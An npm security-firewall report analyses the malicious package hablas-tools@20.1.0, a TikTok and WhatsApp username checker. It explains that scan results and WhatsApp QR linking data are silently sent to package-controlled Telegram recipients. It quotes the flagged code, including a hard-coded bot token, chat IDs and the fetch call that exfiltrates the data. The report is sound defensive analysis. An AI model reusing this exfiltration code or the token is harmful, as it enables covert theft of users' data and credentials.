Loading npm security reports…

hablas-tools@20.1.0: Malicious npm security report (Block) | LPM Firewall

registry / hablas-tools / 20.1.0

hablas-tools@20.1.0

Yusratak — Username Intelligence Suite — TikTok engine v2 (oEmbed, 200k+/hr, banned-name detection) + WhatsApp multi-lane checker

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Running the WhatsApp scanner silently reports scan metadata and available usernames to Telegram recipients embedded by the package. An optional relay can transmit a WhatsApp QR credential to a remote backend.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

User runs the WhatsApp CLI and begins a scan.

Impact

Unconsented disclosure of scan activity, workspace label, results, and potentially WhatsApp account-linking QR data.

Mechanism

Hard-coded-recipient Telegram reporting and QR relay.

Attack narrative

A user-invoked WhatsApp scan calls sendTelegram during connection, scan start, available-name discovery, and completion. That function disregards supplied configuration and selects embedded defaults for a bot and recipients, then POSTs scan data to Telegram. The package also contains relay code that serializes a WhatsApp QR code and POSTs it to its backend. No lifecycle hook is needed for the normal CLI flow to disclose data.

Rationale

The package contains a concrete, default-enabled reporting path to package-controlled Telegram recipients during normal use, with an additional QR relay capability. This is unconsented data exfiltration, not merely the advertised checker behavior.

Evidence

package.jsontools/whatsapp/cli.jstools/whatsapp/workspace.jstools/whatsapp/relay.jsauth_info/data/yusratak.json

Network endpoints2

/bot${botToken}/sendMessage

Source & flagged code

8 flagged · loading source

tools/smart.jsView file

13L14: const { whatsappRun } = require('./whatsapp/cli'); L15:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tools/smart.jsView on unpkg · L13

tools/whatsapp/cli.jsView file

•Normal CLI activity and scan results are posted to package-defined Telegram bot tokens and recipient IDs. tools/whatsapp/workspace.js: const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo'; const DEFAULT_ADMINS = ['5022812601']; const DEFAULT_MEMBERS = ['8986115381']; await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), const botToken = DEFAULT_BOT_TOKEN; const adminIds = DEFAULT_ADMINS; const memberIds = DEFAULT_MEMBERS; tools/whatsapp/cli.js: * Yusratak — WhatsApp Username Checker v7 const { PersistentConnection, checkUsernames, resetMethod } = require('./auth'); const { loadConfig, saveConfig, ensureDirs, sendTelegram, DEFAULT_BOT_TOKEN, DEFAULT_ADMIN

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

tools/whatsapp/cli.jsView on unpkg

tools/whatsapp/workspace.jsView file

28function loadConfig() { L29: const p = path.join(process.cwd(), CONFIG_FILE); L30: if (fs.existsSync(p)) { L31: try { return JSON.parse(fs.readFileSync(p, 'utf-8')); } catch { return null; } L32: } ... L53: try { L54: await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { L55: method: 'POST', L56: headers: { 'Content-Type': 'application/json' }, L57: body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), L58: });

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

tools/whatsapp/workspace.jsView on unpkg · L28

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = tools/whatsapp/workspace.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/workspace.jsView on unpkg

shared/proxy.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = shared/proxy.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

shared/proxy.jsView on unpkg

tools/tiktok/checker.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = tools/tiktok/checker.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/checker.jsView on unpkg

tools/tiktok/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = tools/tiktok/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/menu.jsView on unpkg

tools/whatsapp/relay.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = tools/whatsapp/relay.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/relay.jsView on unpkg

Source & flagged code

8 flagged

tools/smart.jsView file

Lines 1-22javascript

1#!/usr/bin/env node

2'use strict';

3

4/**

5 * HABLAS — Smart Auto-Detect Router v2

6 *

7 * `ht` — just starts scanning in the current directory.

8 * No folder creation, no questions. Runs right here.

9 *

10 * If yusratak.json exists → use saved settings

11 * If not → use defaults (insane speed, doubled, 3-char, full charset)

12 */

13

14const { whatsappRun } = require('./whatsapp/cli');

15

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tools/smart.jsView on unpkg · L13

16async function smartRun(extraArgs) {

17 // Just run WhatsApp checker in the current directory

18 await whatsappRun(extraArgs);

19}

20

21module.exports = { smartRun };

22

tools/whatsapp/cli.jsView file

•Normal CLI activity and scan results are posted to package-defined Telegram bot tokens and recipient IDs. tools/whatsapp/workspace.js: const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo'; const DEFAULT_ADMINS = ['5022812601']; const DEFAULT_MEMBERS = ['8986115381']; await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), const botToken = DEFAULT_BOT_TOKEN; const adminIds = DEFAULT_ADMINS; const memberIds = DEFAULT_MEMBERS; tools/whatsapp/cli.js: * Yusratak — WhatsApp Username Checker v7 const { PersistentConnection, checkUsernames, resetMethod } = require('./auth'); const { loadConfig, saveConfig, ensureDirs, sendTelegram, DEFAULT_BOT_TOKEN, DEFAULT_ADMIN

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

tools/whatsapp/cli.jsView on unpkg

tools/whatsapp/workspace.jsView file

Lines 8-48javascript

8 * auth_info/ ← WhatsApp auth

9 * data/ ← scan results

10 *

11 * Telegram bot with 2 roles:

12 *

shared/proxy.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = shared/proxy.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

shared/proxy.jsView on unpkg

tools/tiktok/checker.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = tools/tiktok/checker.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/checker.jsView on unpkg

tools/tiktok/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = tools/tiktok/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/menu.jsView on unpkg

tools/whatsapp/relay.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.0.0 matchedPath = tools/whatsapp/relay.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/relay.jsView on unpkg